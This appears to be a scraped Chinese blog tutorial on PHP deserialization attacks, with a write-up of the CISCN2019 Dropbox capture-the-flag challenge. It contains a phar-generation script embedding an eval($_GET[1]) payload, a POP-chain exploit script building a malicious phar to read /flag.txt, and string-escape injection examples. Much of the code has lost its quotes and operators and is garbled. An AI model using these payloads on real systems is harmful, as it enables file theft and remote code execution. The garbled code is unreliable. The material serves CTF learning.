精神文明地方联盟网站建设,鹤壁市建设局网站,查询网站域名备案,网站技术部门架构文章目录简介POP链构造和Phar://题目[CISCN2019 华北赛区 Day1 Web1]Dropbox字符串逃逸简介
php序列化的过程就是把数据转化成一种可逆的数据结构#xff0c;逆向的过程就叫做反序列化。 php将数据序列化和反序列化会用到两个函数#xff1a; serialize 将对象格式化成有序的…
文章目录简介POP链构造和Phar://题目[CISCN2019 华北赛区 Day1 Web1]Dropbox字符串逃逸简介
php序列化的过程就是把数据转化成一种可逆的数据结构逆向的过程就叫做反序列化。 php将数据序列化和反序列化会用到两个函数 serialize 将对象格式化成有序的字符串。 unserialize 经字符串还原成原来的对象。 序列化的目的是方便数据的传输和储存。
序列化得到的结果
a:3:{i:0;s:4:anan;i:1;s:3:shi;i:2;s:2:zi;}
a:array代表是数组后面的3说明有三个属性
i:代表是整型数据int后面的0是数组下标
s:代表是字符串后面的4是因为anan长度为4
而如果变量前是protected则会在变量名前加上\x00*\x00,private则会在变量名前加上\x00类名\x00,输出时一般需要url编码若在本地存储更推荐采用base64编码的形式如下
?php
class test{protected $a;private $b;function __construct(){$this-a anan;$this-blan;}function happy(){return $this-a;}
}
$a new test();
echo serialize($a);
echo urlencode(serialize($a));
?输出则会导致不可见字符\x00的丢失
O:4:test:2:{s:4: * a;s::anan;s:7: test b;s:3:lan;}反序列化中常见的魔术方法: __wakeup() //执行unserialize()时先会调用这个函数 __sleep() //执行serialize()时先会调用这个函数 __destruct() //对象被销毁时触发 __call() //在对象上下文中调用不可访问的方法时触发 __callStatic() //在静态上下文中调用不可访问的方法时触发 __get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法 __set() //用于将数据写入不可访问的属性 __isset() //在不可访问的属性上调用isset()或empty()触发 __unset() //在不可访问的属性上使用unset()时触发 __toString() //把类当作字符串使用时触发 __invoke() //当尝试将对象调用为函数时触发 POP链构造和Phar://
为什么要用POP链做题过程中没有那么多的魔术方法可以绕过审计代码的过程中只有普通的方法但是不能直接利用这是需要通过POP链联系起来。 phar://协议就是数据流包装器
?php
class hello
{var $a ;
}unlink(test.phar);$pharnew Phar(test.phar);
$phar-startBuffering();
$phar-setStub(?php __HALT_COMPILER(); ?);$b new hello();
$b-a eval($_GET[1]);;$phar-setMetadata($b);
$phar-addFromString(test.txt,test);
$phar-stopBuffering();
?会生成test.phar
题目[CISCN2019 华北赛区 Day1 Web1]Dropbox
打开后是一个登录框注册登录发现可以上传文件尝试上传只能上传图片文件 抓包后修改Content-Type:image/jepg后上传成功 这里可以下载删除可以利用这个点抓包尝试读取文件 尝试查看flag文件不存在尝试下载源码发现还是文件不存在这里是目录跳转所以不存在 尝试跳转 可以下载需要的文件index.php,login.php,upload.php,download.php,delete.phpclass.php 进行代码审计发现class.php中Filelist类中的__call()魔术方法 __call() //在对象上下文中调用不可访问的方法时触发 index.php中函数没有执行会执行__call()魔术方法 index.php中的Name和Size方法没有执行去class.php中查看File类中有close()方法读取文件可以进行文件包含。 POP链构造 a new FileList()可以通过Phar://完成 a - close() a - call(close) a - file new File (‘/flag’) a - file - close() 这里的close()方法需要在class.php中有User类其中__destruct()魔术方法调用close()方法 构建payload
?phpclass User {public $db;function __construct(){$this-db new Filelist();}
}
class FileList {private $files;private $results;private $funcs;function __construct(){$this-files[new File(/flag.txt)];$this-results[];$this-funcs[];}
}class File {public $filename;function __construct(){$this-filename$name;}
}
$a new User();$pharnew Phar(test.phar);
$phar-startBuffering();
$phar-setStub(?php __HALT_COMPILER(); ?);
$phar-setMetadata($a);
$phar-addFromString(test.txt,test);
$phar-stopBuffering();
?生成文件抓包上传通过抓包来读取想要的文件 需要注意的是在download.php中限制了访问的目录所以只能在delete.php中利用payload
字符串逃逸
过滤后字符变多
?php
function change($str){return str_replace(x,xx,$str);
}
$name $_GET[name];
$age I am 11;
$arr array($name,$age);
echo 反序列化字符串;
var_dump(serialize($arr));
echo br/;
echo 过滤后:;
$old change(serialize($arr));
$new unserialize($old);
var_dump($new);
echo br/此时age$new[1];
?这里就是把反序列化后的一个x替换成为两个
我们传入namemaoxxxxxxxxxxxxxxxxxxxx;i:1;s:6:woaini;} ;i:1;s:6:woaini;}这一部分一共二十个字符 由于一个x会被替换为两个我们输入了一共20个x现在是40个多出来的20个x其实取代了我们的这二十个字符;i:1;s:6:woaini;}从而造成;i:1;s:6:woaini;}的溢出而闭合了前串使得我们的字符串成功逃逸可以被反序列化输出woaini最后的;}闭合反序列化全过程导致原来的;i:1;s:7:“I am 11”;}被舍弃不影响反序列化过程
过滤后字符变少
?php
function change($str){return str_replace(xx,x,$str);
}
$arr[name] $_GET[name];
$arr[age] $_GET[age];
echo 反序列化字符串;
var_dump(serialize($arr));
echo br/;
echo 过滤后:;
$old change(serialize($arr));
var_dump($old);
echo br/;
$new unserialize($old);
var_dump($new);
echo br/此时age;
echo $new[age];就是把反序列化后的xx替换成为一个x 就是前面少了一半导致后面的字符被吃掉从而执行了我们后面的代码这部分是age序列化后的结果
s:3:age;s:28:11;s:3:age;s:6:woaini;}由于前面是40个x所以导致少了20个字符所以需要后面来补上;s:3:“age”;s:28:11这一部分刚好20个后面由于有闭合了前面因此后面的参数就可以由我们自定义执行。 参考PHP反序列化总结 PHP序列化和反序列化